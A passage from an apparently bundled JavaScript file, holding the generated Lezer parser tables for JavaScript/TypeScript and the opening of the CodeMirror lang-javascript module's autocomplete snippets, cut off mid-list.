W7j8]8oQ'U!{!k:r#]#k&W'w+X+[,m/{1X2q3q6{9^9`9c9e9f9g9h9i9j9k9l9m9n9o9p9s:Q:R:T:_:`:g:h;a!h#VZ!_$a%w%}&y'Q'_'`'a'b'g'k)p+R+g,O,^,d,w-x0i0s1T2O2[3v4W4[6V7g8Z8m8y9_!R9k'd'u+^,i/v/y0w1P1Q1R1S1W1]3s4]4b4c5`6S6b6f6g7z:|!d#XZ!_$a%w%}&y'Q'a'b'g'k)p+R+g,O,^,d,w-x0i0s1T2O2[3v4W4[6V7g8Z8m8y9_}9m'd'u+^,i/v/y0w1R1S1W1]3s4]4b4c5`6S6b6f6g7z:|!`#]Z!_$a%w%}&y'Q'g'k)p+R+g,O,^,d,w-x0i0s1T2O2[3v4W4[6V7g8Z8m8y9_Q1a-Px;a'd'u+^,i/v/y0w1W1]3s4]4b4c5`6S6b6f6g7z:|Q;i;pQ;j;qR;k;r&^cORSTUjk}!S!W!]!`!n!v!z!|#P#Q#R#S#T#U#V#W#X#Y#Z#]#b#e#k$]$n%[%_%`%c%e%f%g%i%m%x%z&S&W&_&f&p&}'R'w(R)V)^*k*o*t+T+X+[+x,P,b,h,m-u-z.S.].|/_/`/a/c/g/j/l/{0T0j0t1X2i2q3R3f3h3i3q3x5o5}6W6{7j8]8o9^9`9c9e9f9g9h9i9j9k9l9m9n9o9p9s:Q:R:T:_:`:g:h;aS#l`#mR1Y,l&e_ORSTU`jk}!S!W!]!`!n!v!z!|#P#Q#R#S#T#U#V#W#X#Y#Z#]#b#e#k#m$]$n%[%_%`%c%e%f%g%i%m%x%z&S&W&_&f&p&}'R'w(R)V)^*k*o*t+T+X+[+x,P,b,h,l,m-u-z.S.].|/_/`/a/c/g/j/l/{0T0j0t1X2i2q3R3f3h3i3q3x5o5}6W6{7j8]8o9^9`9c9e9f9g9h9i9j9k9l9m9n9o9p9s:Q:R:T:_:`:g:h;aS#g^#nT'n#i'rT#h^#nT'p#i'r&e`ORSTU`jk}!S!W!]!`!n!v!z!|#P#Q#R#S#T#U#V#W#X#Y#Z#]#b#e#k#m$]$n%[%_%`%c%e%f%g%i%m%x%z&S&W&_&f&p&}'R'w(R)V)^*k*o*t+T+X+[+x,P,b,h,l,m-u-z.S.].|/_/`/a/c/g/j/l/{0T0j0t1X2i2q3R3f3h3i3q3x5o5}6W6{7j8]8o9^9`9c9e9f9g9h9i9j9k9l9m9n9o9p9s:Q:R:T:_:`:g:h;aT#l`#mQ#o`R'y#m$rbORSTUjk}!S!W!]!`!n!v!z!|#P#Q#R#S#T#U#V#W#X#Y#Z#b#e$]$n%[%_%`%c%e%f%g%i%m%x%z&S&_&f&p&}'R(R)V)^*k*o*t+T+x,P,b,h-u-z.S.].|/_/`/a/c/g/j/l0T0j0t2i3R3f3h3i3x5o5}6W7j8]8o!k;_#]#k&W'w+X+[,m/{1X2q3q6{9^9`9c9e9f9g9h9i9j9k9l9m9n9o9p9s:Q:R:T:_:`:g:h;a#RdOSUj}!S!W!n!|#k$]%[%_%`%c%e%f%g%i%m&S&f'w)^*k*o*t+x,m-u.S.|/_/`/a/c/g/j/l1X2i3R3f3h3i5o5}x#{a!y$T$U$Y(W(Y(b(w(x,_-Y-w1a1y6i;^;i;j;k#[&|!w#d#v#y&g'}(Z(h)])_)a*O*R+y-Z-].R.T.p.s.{.}1k1s2Q2T2X2j3Q3S4l4u4}5k5p6z7W8T9w9z9}:U:X:[:a:d:j;l;n;t;u;vQ)S$WQ,x(Sd1V9r9y9|:P:W:Z:^:c:f:le8q9d9x9{:O:V:Y:]:b:e:kx#wa!y$T$U$Y(W(Y(b(w(x,_-Y-w1a1y6i;^;i;j;kQ(d#xS(n#z(qQ)T$XQ-g(o#[:w!w#d#v#y&g'}(Z(h)])_)a*O*R+y-Z-].R.T.p.s.{.}1k1s2Q2T2X2j3Q3S4l4u4}5k5p6z7W8T9w9z9}:U:X:[:a:d:j;l;n;t;u;vd:x9d9x9{:O:V:Y:]:b:e:kd:y9r9y9|:P:W:Z:^:c:f:lQ:};bQ;O;cQ;P;dQ;Q;eQ;R;fR;S;gx#{a!y$T$U$Y(W(Y(b(w(x,_-Y-w1a1y6i;^;i;j;k#[&|!w#d#v#y&g'}(Z(h)])_)a*O*R+y-Z-].R.T.p.s.{.}1k1s2Q2T2X2j3Q3S4l4u4}5k5p6z7W8T9w9z9}:U:X:[:a:d:j;l;n;t;u;vd1V9r9y9|:P:W:Z:^:c:f:le8q9d9x9{:O:V:Y:]:b:e:klfOSj}!n$]%c%f%g%i*o*t/g/jQ(g#yQ*}%pQ+O%rR1j-Z%O#|a!w!y#d#v#y$T$U$Y&g'}(W(Y(Z(b(h(w(x)])_)a*O*R+y,_-Y-Z-]-w.R.T.p.s.{.}1a1k1s1y2Q2T2X2j3Q3S4l4u4}5k5p6i6z7W8T9d9r9w9x9y9z9{9|9}:O:P:U:V:W:X:Y:Z:[:]:^:a:b:c:d:e:f:j:k:l;^;i;j;k;l;n;t;u;vQ*Q$}Q.r*SQ2m.qR5]2nT(p#z(qS(p#z(qT2u.y2vQ)b$eQ-f(nQ.X)cQ/Q*]Q3V/RQ5r3WQ6}5aQ7[5sQ7|7OQ8V7]Q8d7}Q8s8eQ9Q8tR9X9Rp(W#t'O)U-X-o-p0q1h1}4f4w7q:v;W;X;Y!n:U&z'i(^(f+v,[,t-P-^-|.P.o.q0e0p1i1m2W2l2n3O4Y4Z4m4q4y5O5Z5n6m6q7Y8`;Z;];p;q;r[:V8p9O9V9Y9Z9]]:W1U4a6c7o7p8zr(Y#t'O)U,}-X-o-p0q1h1}4f4w7q:v;W;X;Y!p:X&z'i(^(f+v,[,t-P-^-|.P.o.q0e0n0p1i1m2W2l2n3O4Y4Z4m4q4y5O5Z5n6m6q7Y8`;Z;];p;q;r^:Y8p9O9T9V9Y9Z9]_:Z1U4a6c6d7o7p8zpeOSjy}!n$]%Y%c%f%g%i*o*t/g/jQ%VxR*k%`peOSjy}!n$]%Y%c%f%g%i*o*t/g/jR%VxQ*U%OR.n)}qeOSjy}!n$]%Y%c%f%g%i*o*t/g/jQ.z*ZS3P/O/PW5j2|2}3O3TU7V5l5m5nU8R7U7X7YQ8h8SR8v8iQ%^yR*e%YR3^/XR7_5uS$mp$rR.d)nQ%czR*o%dR*u%jT/h*t/jR*y%kQ*x%kR/q*yQjOQ!nST$`j!nQ(P#sR,u(PQ!YQR%u!YQ!^RU%{!^%|+UQ%|!_R+U%}Q+a&XR/}+aQ,`'OR0r,`Q,c'QS0u,c0vR0v,dQ+m&dR0X+mS!eR$uU&a!e&b+VQ&b!fR+V&OQ+d&[R0P+dQ&u!sQ,R&sU,V&u,R0mR0m,WQ'r#iR,n'rQ#m`R'x#mQ#cZU'h#c+Q9qQ+Q9_R9q'uQ-S(_W1d-S1e4j6lU1e-T-U-VS4j1f1gR6l4k$k(U#t&z'O'i(^(f)P)Q)U+v,Y,Z,[,t,}-O-P-X-^-o-p-|.P.o.q0e0n0o0p0q1U1h1i1m1}2W2l2n3O4Y4Z4_4`4a4f4m4q4w4y5O5Z5n6c6d6e6m6q7Y7o7p7q8`8p8z8|8}9O9T9U9V9Y9Z9]:v;W;X;Y;Z;];p;q;rQ-[(fU1l-[1n4nQ1n-^R4n1mQ(q#zR-i(qQ(z$OR-r(zQ2R-|R4z2RQ){$xR.m){Q2p.tS5_2p6|R6|5`Q*W%PR.w*WQ2v.yR5d2vQ/W*bS3[/W5vR5v3^Q._)jW2a._2c5T6wQ2c.bQ5T2bR6w5UQ)o$mR.e)oQ/j*tR3l/jWiOSj!nQ%h}Q)X$]Q*n%cQ*p%fQ*q%gQ*s%iQ/e*oS/h*t/jR3k/gQ$_gQ%l!RQ%o!TQ%q!UQ%s!VQ)v$sQ)|$yQ*d%^Q*{%nQ-h(pS/Z*e*hQ/r*zQ/s*}Q/t+OS0S+j2sQ2f.hQ2k.oQ3U/QQ3`/]Q3j/fY3w0U0V0]0b5fQ5X2hQ5[2lQ5q3VQ5w3_[6U3v3y3}4P4Q7SQ6x5VQ7Z5rQ7`5xW7f6V6[6^6`Q7x6yQ7{6}Q8U7[U8X7g7l7nQ8c7|Q8j8VS8k8Z8_Q8r8dQ8w8mQ9P8sQ9S8yQ9W9QR9[9XQ$gmQ&i!jU)e$h$i$jQ+Z&UU+{&j&k&lQ-`(kS.Z)f)gQ/z+]Q0R+jS0g+|+}Q1q-dQ2Z.[Q3t0QS3z0W0]Q4V0hQ4r1uS6Y3{4QQ7i6ZQ8[7kR8n8^S#ua;^R({$PU$Oa$P;^R-q(yQ#taS&z!w)aQ'O!yQ'i#dQ(^#vQ(f#yQ)P$TQ)Q$UQ)U$YQ+v&gQ,Y9wQ,Z9zQ,[9}Q,t'}Q,}(WQ-O(YQ-P(ZQ-X(bQ-^(hQ-o(wQ-p(xd-|)].R.{2T3Q4}5k6z7W8TQ.P)_Q.o*OQ.q*RQ0e+yQ0n:UQ0o:XQ0p:[Q0q,_Q1U9rQ1h-YQ1i-ZQ1m-]Q1}-wQ2W.TQ2l.pQ2n.sQ3O.}Q4Y:aQ4Z:dQ4_9yQ4`9|Q4a:PQ4f1aQ4m1kQ4q1sQ4w1yQ4y2QQ5O2XQ5Z2jQ5n3SQ6c:^Q6d:WQ6e:ZQ6m4lQ6q4uQ7Y5pQ7o:cQ7p:fQ7q6iQ8`:jQ8p9dQ8z:lQ8|9xQ8}9{Q9O:OQ9T:VQ9U:YQ9V:]Q9Y:bQ9Z:eQ9]:kQ:v;^Q;W;iQ;X;jQ;Y;kQ;Z;lQ;];nQ;p;tQ;q;uR;r;vlgOSj}!n$]%c%f%g%i*o*t/g/jS!pU%eQ%n!SQ%t!WQ'V!|Q'v#kS*h%[%_Q*l%`Q*z%mQ+W&SQ+u&fQ,r'wQ.O)^Q/b*kQ0d+xQ1[,mQ1{-uQ2V.SQ2}.|Q3b/_Q3c/`Q3e/aQ3g/cQ3n/lQ4d1XQ5Y2iQ5m3RQ5|3fQ6O3hQ6P3iQ7X5oR7b5}!vZOSUj}!S!n!|$]%[%_%`%c%e%f%g%i%m&S&f)^*k*o*t+x-u.S.|/_/`/a/c/g/j/l2i3R3f3h3i5o5}Q!_RQ!oTQ$akS%w!]%zQ%}!`Q&y!vQ'Q!zQ'W#PQ'X#QQ'Y#RQ'Z#SQ'[#TQ']#UQ'^#VQ'_#WQ'`#XQ'a#YQ'b#ZQ'd#]Q'g#bQ'k#eW'u#k'w,m1XQ)p$nS+R%x+TS+^&W/{Q+g&_Q,O&pQ,^&}Q,d'RQ,g9^Q,i9`Q,w(RQ-x)VQ/v+XQ/y+[Q0i,PQ0s,bQ0w9cQ0x9eQ0y9fQ0z9gQ0{9hQ0|9iQ0}9jQ1O9kQ1P9lQ1Q9mQ1R9nQ1S9oQ1T,hQ1W9sQ1]9pQ2O-zQ2[.]Q3s:QQ3v0TQ4W0jQ4[0tQ4]:RQ4b:TQ4c:_Q5`2qQ6S3qQ6V3xQ6b:`Q6f:gQ6g:hQ7g6WQ7z6{Q8Z7jQ8m8]Q8y8oQ9_!WR:|;aR!aRR&Y!bS&U!b+`S+]&V&^R0Q+fR'P!yR'S!zT!tU$ZS!sU$ZU$xrs*mS&s!r!uQ,T&tQ,W&wQ.l)zS0k,S,UR4X0l`!dR!]!`$u%x&`)x+hh!qUrs!r!u$Z&t&w)z,S,U0lQ/d*mQ/w+YQ3p/oT:s&W)yT!gR$uS!fR$uS%y!]&`S&O!`)xS+S%x+hT+_&W)yT&]!b$vQ#i^R'{#nT'q#i'rR1Z,lT(a#v(cR(i#yQ-})]Q2U.RQ2|.{Q4{2TQ5l3QQ6t4}Q7U5kQ7y6zQ8S7WR8i8TlhOSj}!n$]%c%f%g%i*o*t/g/jQ%]yR*d%YV$yrs*mR.u*TR*c%WQ$qpR)u$rR)k$lT%az%dT%bz%dT/i*t/j", + nodeNames: "\u26A0 extends ArithOp ArithOp InterpolationStart LineComment BlockComment Script ExportDeclaration export Star as VariableName String from ; default FunctionDeclaration async function VariableDefinition TypeParamList TypeDefinition ThisType this LiteralType ArithOp Number BooleanLiteral TemplateType InterpolationEnd Interpolation VoidType void TypeofType typeof MemberExpression . ?. PropertyName [ TemplateString Interpolation null super RegExp ] ArrayExpression Spread , } { ObjectExpression Property async get set PropertyDefinition Block : NewExpression new TypeArgList CompareOp < ) ( ArgList UnaryExpression await yield delete LogicOp BitOp ParenthesizedExpression ClassExpression class extends ClassBody MethodDeclaration Privacy static abstract override PrivatePropertyDefinition PropertyDeclaration readonly Optional TypeAnnotation Equals StaticBlock FunctionExpression ArrowFunction ParamList ParamList ArrayPattern ObjectPattern PatternProperty Privacy readonly Arrow MemberExpression PrivatePropertyName BinaryExpression ArithOp ArithOp ArithOp ArithOp BitOp CompareOp instanceof in const CompareOp BitOp BitOp BitOp LogicOp LogicOp ConditionalExpression LogicOp LogicOp AssignmentExpression UpdateOp PostfixExpression CallExpression TaggedTemplateExpression DynamicImport import ImportMeta JSXElement JSXSelfCloseEndTag JSXStartTag JSXSelfClosingTag JSXIdentifier JSXNamespacedName JSXMemberExpression JSXSpreadAttribute JSXAttribute JSXAttributeValue JSXEscape JSXEndTag JSXOpenTag JSXFragmentTag JSXText JSXEscape JSXStartCloseTag JSXCloseTag PrefixCast ArrowFunction TypeParamList SequenceExpression KeyofType keyof UniqueType unique ImportType InferredType infer TypeName ParenthesizedType FunctionSignature ParamList NewSignature IndexedType TupleType Label ArrayType ReadonlyType ObjectType MethodType PropertyType IndexSignature CallSignature TypePredicate is NewSignature new UnionType LogicOp IntersectionType LogicOp ConditionalType ParameterizedType ClassDeclaration abstract implements type VariableDeclaration let var TypeAliasDeclaration InterfaceDeclaration interface EnumDeclaration enum EnumBody NamespaceDeclaration namespace module AmbientDeclaration declare GlobalDeclaration global ClassDeclaration ClassBody MethodDeclaration AmbientFunctionDeclaration ExportGroup VariableName VariableName ImportDeclaration ImportGroup ForStatement for ForSpec ForInSpec ForOfSpec of WhileStatement while WithStatement with DoStatement do IfStatement if else SwitchStatement switch SwitchBody CaseLabel case DefaultLabel TryStatement try CatchClause catch FinallyClause finally ReturnStatement return ThrowStatement throw BreakStatement break ContinueStatement continue DebuggerStatement debugger LabeledStatement ExpressionStatement", + maxTerm: 332, + context: trackNewline, + nodeProps: [ + ["closedBy", 4, "InterpolationEnd", 40, "]", 51, "}", 66, ")", 132, "JSXSelfCloseEndTag JSXEndTag", 146, "JSXEndTag"], + ["group", -26, 8, 15, 17, 58, 184, 188, 191, 192, 194, 197, 200, 211, 213, 219, 221, 223, 225, 228, 234, 240, 242, 244, 246, 248, 250, 251, "Statement", -30, 12, 13, 24, 27, 28, 41, 43, 44, 45, 47, 52, 60, 68, 74, 75, 91, 92, 101, 103, 119, 122, 124, 125, 126, 127, 129, 130, 148, 149, 151, "Expression", -22, 23, 25, 29, 32, 34, 152, 154, 156, 157, 159, 160, 161, 163, 164, 165, 167, 168, 169, 178, 180, 182, 183, "Type", -3, 79, 85, 90, "ClassItem"], + ["openedBy", 30, "InterpolationStart", 46, "[", 50, "{", 65, "(", 131, "JSXStartTag", 141, "JSXStartTag JSXStartCloseTag"] + ], + propSources: [jsHighlight], + skippedNodes: [0, 5, 6], + repeatNodeCount: 28, + tokenData: "!C}~R!`OX%TXY%cYZ'RZ[%c[]%T]^'R^p%Tpq%cqr'crs(kst0htu2`uv4pvw5ewx6cxyk|}?O}!O>k!O!P?`!P!QCl!Q!R!0[!R![!1q![!]!7s!]!^!8V!^!_!8g!_!`!9d!`!a!:[!a!b!U#R#S2`#S#T!>i#T#o2`#o#p!>y#p#q!?O#q#r!?f#r#s!?x#s$f%T$f$g%c$g#BY2`#BY#BZ!@Y#BZ$IS2`$IS$I_!@Y$I_$I|2`$I|$I}!Bq$I}$JO!Bq$JO$JT2`$JT$JU!@Y$JU$KV2`$KV$KW!@Y$KW&FU2`&FU&FV!@Y&FV?HT2`?HT?HU!@Y?HU~2`W%YR$UWO!^%T!_#o%T#p~%T7Z%jg$UW'Y7ROX%TXY%cYZ%TZ[%c[p%Tpq%cq!^%T!_#o%T#p$f%T$f$g%c$g#BY%T#BY#BZ%c#BZ$IS%T$IS$I_%c$I_$JT%T$JT$JU%c$JU$KV%T$KV$KW%c$KW&FU%T&FU&FV%c&FV?HT%T?HT?HU%c?HU~%T7Z'YR$UW'Z7RO!^%T!_#o%T#p~%T$T'jS$UW!j#{O!^%T!_!`'v!`#o%T#p~%T$O'}S#e#v$UWO!^%T!_!`(Z!`#o%T#p~%T$O(bR#e#v$UWO!^%T!_#o%T#p~%T)X(rZ$UW]#eOY(kYZ)eZr(krs*rs!^(k!^!_+U!_#O(k#O#P-b#P#o(k#o#p+U#p~(k&r)jV$UWOr)ers*Ps!^)e!^!_*a!_#o)e#o#p*a#p~)e&r*WR$P&j$UWO!^%T!_#o%T#p~%T&j*dROr*ars*ms~*a&j*rO$P&j)X*{R$P&j$UW]#eO!^%T!_#o%T#p~%T)P+ZV]#eOY+UYZ*aZr+Urs+ps#O+U#O#P+w#P~+U)P+wO$P&j]#e)P+zROr+Urs,Ts~+U)P,[U$P&j]#eOY,nZr,nrs-Vs#O,n#O#P-[#P~,n#e,sU]#eOY,nZr,nrs-Vs#O,n#O#P-[#P~,n#e-[O]#e#e-_PO~,n)X-gV$UWOr(krs-|s!^(k!^!_+U!_#o(k#o#p+U#p~(k)X.VZ$P&j$UW]#eOY.xYZ%TZr.xrs/rs!^.x!^!_,n!_#O.x#O#P0S#P#o.x#o#p,n#p~.x#m/PZ$UW]#eOY.xYZ%TZr.xrs/rs!^.x!^!_,n!_#O.x#O#P0S#P#o.x#o#p,n#p~.x#m/yR$UW]#eO!^%T!_#o%T#p~%T#m0XT$UWO!^.x!^!_,n!_#o.x#o#p,n#p~.x3]0mZ$UWOt%Ttu1`u!^%T!_!c%T!c!}1`!}#R%T#R#S1`#S#T%T#T#o1`#p$g%T$g~1`3]1g]$UW'o3TOt%Ttu1`u!Q%T!Q![1`![!^%T!_!c%T!c!}1`!}#R%T#R#S1`#S#T%T#T#o1`#p$g%T$g~1`7Z2k_$UW#zS']$y'g3SOt%Ttu2`u}%T}!O3j!O!Q%T!Q![2`![!^%T!_!c%T!c!}2`!}#R%T#R#S2`#S#T%T#T#o2`#p$g%T$g~2`[3q_$UW#zSOt%Ttu3ju}%T}!O3j!O!Q%T!Q![3j![!^%T!_!c%T!c!}3j!}#R%T#R#S3j#S#T%T#T#o3j#p$g%T$g~3j$O4wS#^#v$UWO!^%T!_!`5T!`#o%T#p~%T$O5[R$UW#o#vO!^%T!_#o%T#p~%T5b5lU'x5Y$UWOv%Tvw6Ow!^%T!_!`5T!`#o%T#p~%T$O6VS$UW#i#vO!^%T!_!`5T!`#o%T#p~%T)X6jZ$UW]#eOY6cYZ7]Zw6cwx*rx!^6c!^!_8T!_#O6c#O#P:T#P#o6c#o#p8T#p~6c&r7bV$UWOw7]wx*Px!^7]!^!_7w!_#o7]#o#p7w#p~7]&j7zROw7wwx*mx~7w)P8YV]#eOY8TYZ7wZw8Twx+px#O8T#O#P8o#P~8T)P8rROw8Twx8{x~8T)P9SU$P&j]#eOY9fZw9fwx-Vx#O9f#O#P9}#P~9f#e9kU]#eOY9fZw9fwx-Vx#O9f#O#P9}#P~9f#e:QPO~9f)X:YV$UWOw6cwx:ox!^6c!^!_8T!_#o6c#o#p8T#p~6c)X:xZ$P&j$UW]#eOY;kYZ%TZw;kwx/rx!^;k!^!_9f!_#O;k#O#PW{!^%T!_!`5T!`#o%T#p~%T$O>_S#[#v$UWO!^%T!_!`5T!`#o%T#p~%T%w>rSj%o$UWO!^%T!_!`5T!`#o%T#p~%T&i?VR!R&a$UWO!^%T!_#o%T#p~%T7Z?gVu5^$UWO!O%T!O!P?|!P!Q%T!Q![@r![!^%T!_#o%T#p~%T!{@RT$UWO!O%T!O!P@b!P!^%T!_#o%T#p~%T!{@iR!Q!s$UWO!^%T!_#o%T#p~%T!{@yZ$UWk!sO!Q%T!Q![@r![!^%T!_!g%T!g!hAl!h#R%T#R#S@r#S#X%T#X#YAl#Y#o%T#p~%T!{AqZ$UWO{%T{|Bd|}%T}!OBd!O!Q%T!Q![CO![!^%T!_#R%T#R#SCO#S#o%T#p~%T!{BiV$UWO!Q%T!Q![CO![!^%T!_#R%T#R#SCO#S#o%T#p~%T!{CVV$UWk!sO!Q%T!Q![CO![!^%T!_#R%T#R#SCO#S#o%T#p~%T7ZCs`$UW#]#vOYDuYZ%TZzDuz{Jl{!PDu!P!Q!-e!Q!^Du!^!_Fx!_!`!.^!`!a!/]!a!}Du!}#OHq#O#PJQ#P#oDu#o#pFx#p~DuXD|[$UW}POYDuYZ%TZ!PDu!P!QEr!Q!^Du!^!_Fx!_!}Du!}#OHq#O#PJQ#P#oDu#o#pFx#p~DuXEy_$UW}PO!^%T!_#Z%T#Z#[Er#[#]%T#]#^Er#^#a%T#a#bEr#b#g%T#g#hEr#h#i%T#i#jEr#j#m%T#m#nEr#n#o%T#p~%TPF}V}POYFxZ!PFx!P!QGd!Q!}Fx!}#OG{#O#PHh#P~FxPGiU}P#Z#[Gd#]#^Gd#a#bGd#g#hGd#i#jGd#m#nGdPHOTOYG{Z#OG{#O#PH_#P#QFx#Q~G{PHbQOYG{Z~G{PHkQOYFxZ~FxXHvY$UWOYHqYZ%TZ!^Hq!^!_G{!_#OHq#O#PIf#P#QDu#Q#oHq#o#pG{#p~HqXIkV$UWOYHqYZ%TZ!^Hq!^!_G{!_#oHq#o#pG{#p~HqXJVV$UWOYDuYZ%TZ!^Du!^!_Fx!_#oDu#o#pFx#p~Du7ZJs^$UW}POYJlYZKoZzJlz{NQ{!PJl!P!Q!,R!Q!^Jl!^!_!!]!_!}Jl!}#O!'|#O#P!+a#P#oJl#o#p!!]#p~Jl7ZKtV$UWOzKoz{LZ{!^Ko!^!_M]!_#oKo#o#pM]#p~Ko7ZL`X$UWOzKoz{LZ{!PKo!P!QL{!Q!^Ko!^!_M]!_#oKo#o#pM]#p~Ko7ZMSR$UWU7RO!^%T!_#o%T#p~%T7RM`ROzM]z{Mi{~M]7RMlTOzM]z{Mi{!PM]!P!QM{!Q~M]7RNQOU7R7ZNX^$UW}POYJlYZKoZzJlz{NQ{!PJl!P!Q! T!Q!^Jl!^!_!!]!_!}Jl!}#O!'|#O#P!+a#P#oJl#o#p!!]#p~Jl7Z! ^_$UWU7R}PO!^%T!_#Z%T#Z#[Er#[#]%T#]#^Er#^#a%T#a#bEr#b#g%T#g#hEr#h#i%T#i#jEr#j#m%T#m#nEr#n#o%T#p~%T7R!!bY}POY!!]YZM]Zz!!]z{!#Q{!P!!]!P!Q!&x!Q!}!!]!}#O!$`#O#P!&f#P~!!]7R!#VY}POY!!]YZM]Zz!!]z{!#Q{!P!!]!P!Q!#u!Q!}!!]!}#O!$`#O#P!&f#P~!!]7R!#|UU7R}P#Z#[Gd#]#^Gd#a#bGd#g#hGd#i#jGd#m#nGd7R!$cWOY!$`YZM]Zz!$`z{!${{#O!$`#O#P!&S#P#Q!!]#Q~!$`7R!%OYOY!$`YZM]Zz!$`z{!${{!P!$`!P!Q!%n!Q#O!$`#O#P!&S#P#Q!!]#Q~!$`7R!%sTU7ROYG{Z#OG{#O#PH_#P#QFx#Q~G{7R!&VTOY!$`YZM]Zz!$`z{!${{~!$`7R!&iTOY!!]YZM]Zz!!]z{!#Q{~!!]7R!&}_}POzM]z{Mi{#ZM]#Z#[!&x#[#]M]#]#^!&x#^#aM]#a#b!&x#b#gM]#g#h!&x#h#iM]#i#j!&x#j#mM]#m#n!&x#n~M]7Z!(R[$UWOY!'|YZKoZz!'|z{!(w{!^!'|!^!_!$`!_#O!'|#O#P!*o#P#QJl#Q#o!'|#o#p!$`#p~!'|7Z!(|^$UWOY!'|YZKoZz!'|z{!(w{!P!'|!P!Q!)x!Q!^!'|!^!_!$`!_#O!'|#O#P!*o#P#QJl#Q#o!'|#o#p!$`#p~!'|7Z!*PY$UWU7ROYHqYZ%TZ!^Hq!^!_G{!_#OHq#O#PIf#P#QDu#Q#oHq#o#pG{#p~Hq7Z!*tX$UWOY!'|YZKoZz!'|z{!(w{!^!'|!^!_!$`!_#o!'|#o#p!$`#p~!'|7Z!+fX$UWOYJlYZKoZzJlz{NQ{!^Jl!^!_!!]!_#oJl#o#p!!]#p~Jl7Z!,Yc$UW}POzKoz{LZ{!^Ko!^!_M]!_#ZKo#Z#[!,R#[#]Ko#]#^!,R#^#aKo#a#b!,R#b#gKo#g#h!,R#h#iKo#i#j!,R#j#mKo#m#n!,R#n#oKo#o#pM]#p~Ko7Z!-lV$UWT7ROY!-eYZ%TZ!^!-e!^!_!.R!_#o!-e#o#p!.R#p~!-e7R!.WQT7ROY!.RZ~!.R$P!.g[$UW#o#v}POYDuYZ%TZ!PDu!P!QEr!Q!^Du!^!_Fx!_!}Du!}#OHq#O#PJQ#P#oDu#o#pFx#p~Du]!/f[#wS$UW}POYDuYZ%TZ!PDu!P!QEr!Q!^Du!^!_Fx!_!}Du!}#OHq#O#PJQ#P#oDu#o#pFx#p~Du!{!0cd$UWk!sO!O%T!O!P@r!P!Q%T!Q![!1q![!^%T!_!g%T!g!hAl!h#R%T#R#S!1q#S#U%T#U#V!3X#V#X%T#X#YAl#Y#b%T#b#c!2w#c#d!4m#d#l%T#l#m!5{#m#o%T#p~%T!{!1x_$UWk!sO!O%T!O!P@r!P!Q%T!Q![!1q![!^%T!_!g%T!g!hAl!h#R%T#R#S!1q#S#X%T#X#YAl#Y#b%T#b#c!2w#c#o%T#p~%T!{!3OR$UWk!sO!^%T!_#o%T#p~%T!{!3^W$UWO!Q%T!Q!R!3v!R!S!3v!S!^%T!_#R%T#R#S!3v#S#o%T#p~%T!{!3}Y$UWk!sO!Q%T!Q!R!3v!R!S!3v!S!^%T!_#R%T#R#S!3v#S#b%T#b#c!2w#c#o%T#p~%T!{!4rV$UWO!Q%T!Q!Y!5X!Y!^%T!_#R%T#R#S!5X#S#o%T#p~%T!{!5`X$UWk!sO!Q%T!Q!Y!5X!Y!^%T!_#R%T#R#S!5X#S#b%T#b#c!2w#c#o%T#p~%T!{!6QZ$UWO!Q%T!Q![!6s![!^%T!_!c%T!c!i!6s!i#R%T#R#S!6s#S#T%T#T#Z!6s#Z#o%T#p~%T!{!6z]$UWk!sO!Q%T!Q![!6s![!^%T!_!c%T!c!i!6s!i#R%T#R#S!6s#S#T%T#T#Z!6s#Z#b%T#b#c!2w#c#o%T#p~%T$u!7|R!]V$UW#m$fO!^%T!_#o%T#p~%T!q!8^R_!i$UWO!^%T!_#o%T#p~%T5w!8rR'bd!a/n#x&s'|P!P!Q!8{!^!_!9Q!_!`!9_W!9QO$WW#v!9VP#`#v!_!`!9Y#v!9_O#o#v#v!9dO#a#v$u!9kT!{$m$UWO!^%T!_!`'v!`!a!9z!a#o%T#p~%T$P!:RR#W#w$UWO!^%T!_#o%T#p~%T%V!:gT'a!R#a#v$RS$UWO!^%T!_!`!:v!`!a!;W!a#o%T#p~%T$O!:}R#a#v$UWO!^%T!_#o%T#p~%T$O!;_T#`#v$UWO!^%T!_!`5T!`!a!;n!a#o%T#p~%T$O!;uS#`#v$UWO!^%T!_!`5T!`#o%T#p~%T*a!]S#g#v$UWO!^%T!_!`5T!`#o%T#p~%T$a!>pR$UW'f$XO!^%T!_#o%T#p~%T~!?OO!T~5b!?VT'w5Y$UWO!^%T!_!`5T!`#o%T#p#q!=P#q~%T6X!?oR!S5}nQ$UWO!^%T!_#o%T#p~%TX!@PR!kP$UWO!^%T!_#o%T#p~%T7Z!@gr$UW'Y7R#zS']$y'g3SOX%TXY%cYZ%TZ[%c[p%Tpq%cqt%Ttu2`u}%T}!O3j!O!Q%T!Q![2`![!^%T!_!c%T!c!}2`!}#R%T#R#S2`#S#T%T#T#o2`#p$f%T$f$g%c$g#BY2`#BY#BZ!@Y#BZ$IS2`$IS$I_!@Y$I_$JT2`$JT$JU!@Y$JU$KV2`$KV$KW!@Y$KW&FU2`&FU&FV!@Y&FV?HT2`?HT?HU!@Y?HU~2`7Z!CO_$UW'Z7R#zS']$y'g3SOt%Ttu2`u}%T}!O3j!O!Q%T!Q![2`![!^%T!_!c%T!c!}2`!}#R%T#R#S2`#S#T%T#T#o2`#p$g%T$g~2`", + tokenizers: [tsExtends, noSemicolon, incdecToken, template, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, insertSemicolon], + topRules: { "Script": [0, 7] }, + dialects: { jsx: 12107, ts: 12109 }, + dynamicPrecedences: { "149": 1, "176": 1 }, + specialized: [{ term: 289, get: (value) => spec_identifier[value] || -1 }, { term: 299, get: (value) => spec_word[value] || -1 }, { term: 63, get: (value) => spec_LessThan[value] || -1 }], + tokenPrec: 12130 +}); + +// node_modules/@codemirror/lang-javascript/dist/index.js +var import_language = require("@codemirror/language"); +var import_state = require("@codemirror/state"); +var import_view = require("@codemirror/view"); +var import_autocomplete = require("@codemirror/autocomplete"); +var snippets = [ + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("function ${name}(${params}) {\n ${}\n}", { + label: "function", + detail: "definition", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("for (let ${index} = 0; ${index} < ${bound}; ${index}++) {\n ${}\n}", { + label: "for", + detail: "loop", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("for (let ${name} of ${collection}) {\n ${}\n}", { + label: "for", + detail: "of loop", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("do {\n ${}\n} while (${})", { + label: "do", + detail: "loop", + type: "keyword" + }), + /* @__PURE__ */ (0, import_autocomplete.snippetCompletion)("while (${}) {\n ${}\n}", { + label: 